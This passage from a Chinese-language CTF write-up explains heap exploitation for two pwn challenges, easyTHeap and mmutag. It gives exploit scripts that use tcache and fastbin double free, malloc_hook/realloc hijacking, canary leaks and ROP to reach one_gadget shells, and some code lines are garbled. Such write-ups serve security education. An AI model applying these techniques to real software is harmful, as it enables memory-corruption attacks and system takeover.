leak('puts_got',puts_got)
leak('free_got',free_got)
leak('heap_arry',heap_arry)
add(0x10) # 9
add(0x10) # 10
edit(10,0x8,p64(puts_plt))
free(3)
```

0xC [V&N2020]easyTHeap

- 分析

程序中限制了 malloc 和 free 的次数,存在明显的 Use-After-Free 漏洞,但是我们可以首先利用 Tcache dup 泄露 Heap address ,然后劫持 Tcache structure ,向任意地址读写,由于 free 的次数的限制,此处我们向 malloc_hook 写 one_gadget 完成利用,但是此处所有的 one_gadget 条件均不满足,因此需要利用 realloc 函数调整栈帧才能利用。

- 思路

- 首先利用 tcache dup 泄露 Tcache structure ,并劫持 Tcache structure
- 修改Tcache的 count数组 和 指针数组 ,使得新释放的chunk可以直接进入 usbin
- 泄露 usbin头指针的fd , 获得 libc_base
- 修改 Tcache指针数组 使chunk申请到 malloc_hook 附近
- 利用伪造chunk的 编辑功能 将 realloc+n 的地址写入 malloc_hook [调整栈帧],将 one_gadget 地址写入 realloc_hook
- 当我们再通过 malloc 申请chunk时,将执行以下操作
 - malloc_hook ->执行 realloc+n 调整栈帧
 - realloc_hook ->执行 one_gadget
 - o get shell

```
add(0x50) # 0
free(0)
free(0)
 add(0x50) # 1
 show(0)
tcache_base = uu64(ru('\nDone')[-6:]) - 0x250
data = p64(tcache_base)
edit(1,data)
add(0x50) # 2
add(0x50) # 3
 free(3)
dbg()
 show(3)
 base = uu64(ru('\nDone')[-6:]) -0x3ebca0
 leak('base',base)
 dbg()
 malloc_hook = base + libc.sym['__malloc_hook']
 realloc = base + libc.sym['__libc_realloc']
 add(0x50) # 4
 pl = 'a'*0x48 + p64(malloc_hook - 0x13)
 edit(4,pl)
 leak('heap_arry',heap_arry)
 leak('heap_size',heap_size)
 leak('tcache_base',tcache_base)
 leak('base',base)
 leak('malloc_hook', malloc_hook)
 leak('realloc', realloc)
 add(0x20) # 5
```

```
47 pl = '\x00'*(0x13-0x8)+p64(one_gadget)+p64(realloc+0x8)
48 edit(5,pl)
49 add(0x10)
```

- 修改malloc_hook
 - https://www.lhyerror404.cn/2020/03/01/vn-%E8%80%83%E6%A0%B8%E8%B5%9B-writeup/
 - https://www.freesion.com/article/4545825025/
- 修改IO_File
 - https://blog.csdn.net/seaaseesa/article/details/105404106
- 为什么在修改tcache count时,只修改0x60对应的count后,释放该tcache结构体对应的chunk时不会写入usbin的libc相关地址
 - 。 因为我们在投毒的时候实际上申请的是tcache strcture的地址,大小0x250,因此需要覆盖到 tcache中0x250对应的count才可以

• 0xD Double free/西湖论剑2020 mmutag

- 分析

这道题是一道64位的 堆栈结合 题目

保护全开

题目首先提供了 栈地址

之后给了添加和删除堆的功能,但大小是固定的,都是 0x68,属于 fastbin

题目free的时候没有清空指针,可能存在 UAF 和 double free,但因为题目没有 edit 功能,因此优先考虑 double free

题目最多只能申请10个chunk

题目存在一个输入 read(0, &(rbp-0x20), 0x20),以及一个输出 printf("Your content: %s\n", &(rbp-0x20)),因此可以泄露位于 rbp-8 位置的 canary

- 思路

- 1. 接收程序提供的 栈地址 ,泄露 canary
- 2. 通过 double free 进行投毒,将chunk申请到程序 rbp附近,修改返回值为 puts(puts_got) 泄露 libc base
- 3. 再次投毒,修改返回值为 one_gadget
- 4. GET SHELL

实现中需要注意两点

- 1. 程序申请chunk的时候是在 add函数 中的,因此我们需要以 add函数 中的 rbp 地址为准才能正确的 覆盖返回值
 - 一般定位到的都是大循环的rbp,其值rbp在进入add函数时会 发生变化
- 2. 因为程序中的所有chunk大小都是给定的 0x68 , 因此在构造chunk时可以从 rbp-0x48 的位置开始 找,只要保证可以将 payload 覆盖到 返回地址 即可

```
payload = pop_rdi + puts_got + puts_plt 长度 0x18
```

EXP

```
heap\_arry = 0x6020c0
2 heap_count = 0x6020c0
    def add(id,data):
       sla('choise:\n','1')
       sla('id:\n',str(id))
        sla('content\n',data)
8 def free(id):
       sla('choise:\n','2')
       sla('id:\n',str(id))
    sla('name: \n','wang')
    stack = int(ru(':wang')[-14:],16) - 0x20
    sla('choice:\n','2')
    sla('choise:\n','3')
    sleep(0.2)
22 s('a'*0x18+'Z')
    ru('Z')
    canary = uu64(b' \times 00' + r(7))
   leak(canary)
    add(1,'a')
    add(2,'b')
30 free(1)
    free(2)
    free(1)
```

```
# 这是在add函数中的rbp
 add(3,p64(stack3-0x33))
leak(fake_chunk)
add(4,'4')
add(5,'5')
 puts_plt = plt('puts')
puts_got = got('puts')
 pl = 'a'*(0x23-0x8)+p64(canary)+p64(0)
 pl+= p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
pl+= p64(main)
 add(6,pl)
 puts_addr = uu64(ru('\x7f',False)[-6:])
 base,sys,binsh = ret2libc(puts_addr,'puts',local_libc)
 one_gadget = base + 0x4527a # 0xf0364 0xf1207 #0x45226
 leak(one_gadget)
free(1)
 free(2)
 free(1)
leak(stack4)
 leak(fake_chunk2)
 add(7,p64(fake_chunk2))
add(8, '8')
 add(9,'9')
pl = 'a'*(0x23-0x8)+p64(canary)+p64(0)
 pl+= p64(one_gadget)
add(10,pl)
itr()
```